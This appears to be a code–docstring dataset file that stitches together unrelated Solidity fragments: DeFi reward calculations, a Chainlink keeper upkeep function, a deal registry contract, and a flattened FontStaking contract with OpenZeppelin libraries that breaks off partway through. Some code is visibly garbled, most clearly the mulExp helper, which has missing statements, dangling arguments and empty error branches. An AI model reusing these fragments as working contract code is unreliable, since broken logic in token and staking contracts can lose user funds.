* @param marketTotalLiquidity Array of individual market liquidity
* @param user the borrower
* @param i index of the market in marketTotalLiquidity array
* @param j index of the market in the verified/public allMarkets array
* @param isVerified Verified / Public protocol
*/
function getBorrowAlkRewards(
Exp memory totalLiquidity,
Exp[] memory marketTotalLiquidity,
address user,
uint256 i,
uint256 j,
bool isVerified
) internal view returns (uint256) {
uint256 newSpeed = totalLiquidity.mantissa > 0
? mul_(alkRate, div_(marketTotalLiquidity[i], totalLiquidity))
: 0;
MarketState memory borrowState = alkBorrowState[isVerified][
allMarkets[isVerified][j]
];
if (
sub_(getBlockNumber(), uint256(borrowState.block)) > 0 &&
newSpeed > 0
) {
Double memory index = add_(
Double({mantissa: borrowState.index}),
(
getMarketTotalBorrows(
allMarkets[isVerified][j],
isVerified
) > 0
? fraction(
mul_(
sub_(
getBlockNumber(),
uint256(borrowState.block)
),
newSpeed
),
getMarketTotalBorrows(
allMarkets[isVerified][j],
isVerified
)
)
: Double({mantissa: 0})
)
);
borrowState = MarketState({
index: safe224(index.mantissa, "new index exceeds 224 bits"),
block: safe32(getBlockNumber(), "block number exceeds 32 bits")
});
} else if (sub_(getBlockNumber(), uint256(borrowState.block)) > 0) {
borrowState.block = safe32(
getBlockNumber(),
"block number exceeds 32 bits"
);
}
if (
Double({
mantissa: alkBorrowerIndex[isVerified][
allMarkets[isVerified][j]
][user]
}).mantissa >
0 &&
isVerified
) {
return
mul_(
alkemiEarnVerified.getBorrowBalance(
user,
allMarkets[isVerified][j]
),
sub_(
Double({mantissa: borrowState.index}),
Double({
mantissa: alkBorrowerIndex[isVerified][
allMarkets[isVerified][j]
][user]
})
)
);
}
if (
Double({
mantissa: alkBorrowerIndex[isVerified][
allMarkets[isVerified][j]
][user]
}).mantissa >
0 &&
!isVerified
) {
return
mul_(
alkemiEarnPublic.getBorrowBalance(
user,
allMarkets[isVerified][j]
),
sub_(
Double({mantissa: borrowState.index}),
Double({
mantissa: alkBorrowerIndex[isVerified][
allMarkets[isVerified][j]
][user]
})
)
);
} else {
return 0;
}
}
}
|
Multiplies two exponentials, returning a new exponential./
|
function mulExp(Exp memory a, Exp memory b)
internal
pure
returns (Error, Exp memory)
{
(Error err0, uint256 doubleScaledProduct) = mul(a.mantissa, b.mantissa);
if (err0 != Error.NO_ERROR) {
}
halfExpScale,
doubleScaledProduct
);
if (err1 != Error.NO_ERROR) {
}
(Error err2, uint256 product) = div(
doubleScaledProductWithHalfScale,
expScale
);
}
| 80,733
|
./partial_match/4/0x05987879a0Eae6556A42cDcf16Abc9E83851DCd7/sources/Digester.sol
|
Change the amount of FRT required for bonus rewards
|
function changeFRTThreshold(uint256 newFRTthres) public onlyOwner {
frtThreshold = newFRTthres;
}
| 8,501,336
|
./full_match/80001/0x403430749eaDb5ab6177847Bbcdfe1f66A202B26/sources/project_/contracts/polygon/LimitOrderChainlink.sol
|
method that is actually executed by the keepers, via the registry. The data returned by the checkUpkeep simulation will be passed into this method to actually be executed. The input to this method should not be trusted, and the caller of the method should not even be restricted to any single registry. Anyone should be able call it, and the input should be validated, there is no guarantee that the data passed in is the performData returned from checkUpkeep. This could happen due to malicious keepers, racing keepers, or simply a state change while the performUpkeep transaction is waiting for confirmation. Always validate the data passed in. performData is the data which was passed back from the checkData simulation. If it is encoded, it can easily be decoded into other types by calling `abi.decode`. This data should not be trusted, and should be validated against the contract's current state./
|
function performUpkeep(bytes calldata performData) external override {
uint256 positionId;
assembly {
positionId := calldataload(performData.offset)
}
(bool upkeepNeeded, uint128 liquidity) = checkUpkeepInternal(
positionId
);
require(upkeepNeeded, "Condition not met");
closePosition(positionId, liquidity);
}
| 5,698,121
|
import "Deal.sol";
/**
* Contract to create and store deals
*/
contract DealManager {
event NewDeal(address contractAddress, bytes32 id, bytes32 buyer, bytes32 seller, uint amount);
// main map
mapping(bytes32 => AddressElement) map;
// separate list of known keys
bytes32[] keys;
uint mapSize;
struct AddressElement {
uint keyIdx;
address value;
}
/**
* @notice Inserts the given address value at the specified key.
*
* @param key the key
* @param value the value
* @return true, if the entry already existed and was replaced, false if a new entry was created
*/
function insert(bytes32 key, address value) returns (bool exists)
{
exists = map[key].value != 0x0;
if (!exists) {
var keyIndex = keys.length++;
keys[keyIndex] = key;
map[key] = AddressElement(keyIndex, value);
mapSize++;
} else {
map[key].value = value;
}
}
/**
* @return true if the map contains a value at the specified key, false otherwise.
*/
function exists(bytes32 key) constant returns (bool exists) {
return map[key].value != 0x0;
}
/**
* @return the key at the given index or 0 if the index is out of bounds
*/
function keyAtIndex(uint index) constant returns (bytes32 key) {
if(index >= 0 && index < keys.length) {
return keys[index];
}
return 0;
}
/**
* @notice Returns the key at the given index position and the index of the next
* artifact, if there is one, or 0 otherwise.
* This method can be used as an iterator: As long as a nextIndex > 0 is returned, there
* is another key.
*/
function keyAtIndexHasNext(uint idx) public constant returns (bytes32 key, uint nextIndex) {
nextIndex = 0;
key = 0;
if (idx >= 0 && idx < keys.length) {
key = keys[idx];
if (++idx < keys.length) {
nextIndex = idx;
}
}
return (key, nextIndex);
}
/**
* @notice Returns the value at the given index position and the index of the next
* artifact, if there is one, or 0 otherwise.
* This method can be used as an iterator: As long as a nextIndex > 0 is returned, there
* is another value.
*/
function valueAtIndexHasNext(uint idx) public constant returns (address addr, uint nextIndex) {
nextIndex = 0;
addr = 0x0;
if (idx >= 0 && idx < keys.length) {
addr = value(keys[idx]);
if (++idx < keys.length) {
nextIndex = idx;
}
}
return (addr, nextIndex);
}
/**
* @return the index of the given key or -1 if the key does not exist
*/
function keyIndex(bytes32 key) constant returns (int index) {
var elem = map[key];
if(elem.value == 0x0){
return -1;
}
return int(elem.keyIdx);
}
/**
* @return the size of the mapping, i.e. the number of currently stored entries
*/
function size() constant returns (uint) {
return mapSize;
}
/**
* @return the address value registered at the specified key
*/
function value(bytes32 key) constant returns (address addr) {
if(map[key].value != 0x0) {
return map[key].value;
}
else return 0x0;
}
/**
* Adds a new deal with the specified attributes
*/
function addDeal(bytes32 _id, bytes32 _buyer, bytes32 _seller, uint _amount) returns (bool) {
Deal deal = new Deal(_id, _buyer, _seller, _amount);
insert(_id, deal);
NewDeal(deal, deal.id(), deal.buyer(), deal.seller(), deal.amount());
return true;
}
}
|
return the address value registered at the specified key/
|
function value(bytes32 key) constant returns (address addr) {
if(map[key].value != 0x0) {
return map[key].value;
}
else return 0x0;
}
| 13,067,820
|
// SPDX-License-Identifier: MIT
// Author: https://twitter.com/adalquardz
// Sources flattened with hardhat v2.4.3 https://hardhat.org
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/utils/math/[email protected]
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File @openzeppelin/contracts/utils/[email protected]
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File @openzeppelin/contracts/utils/introspection/[email protected]
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File @openzeppelin/contracts/utils/introspection/[email protected]
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File @openzeppelin/contracts/access/[email protected]
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// File contracts/FontStaking.sol
//import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
function burn(uint256 amount) external;
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface ERC20{
function deposit() external payable;
function withdraw(uint256 amount) external;
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract FontStaking is AccessControl {
using SafeMath for uint;
using SafeMath for uint8;
using SafeMath for uint16;
using SafeMath for uint256;
using SafeERC20 for IERC20;
/**********************************************************************************************************/
/********************************************** Variables **********************************************/
/**********************************************************************************************************/
/*********** Settings ************/
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
//WETH address to convert ETH to WETH
ERC20 weth;
address ownerAddress; //Main admin of this contract
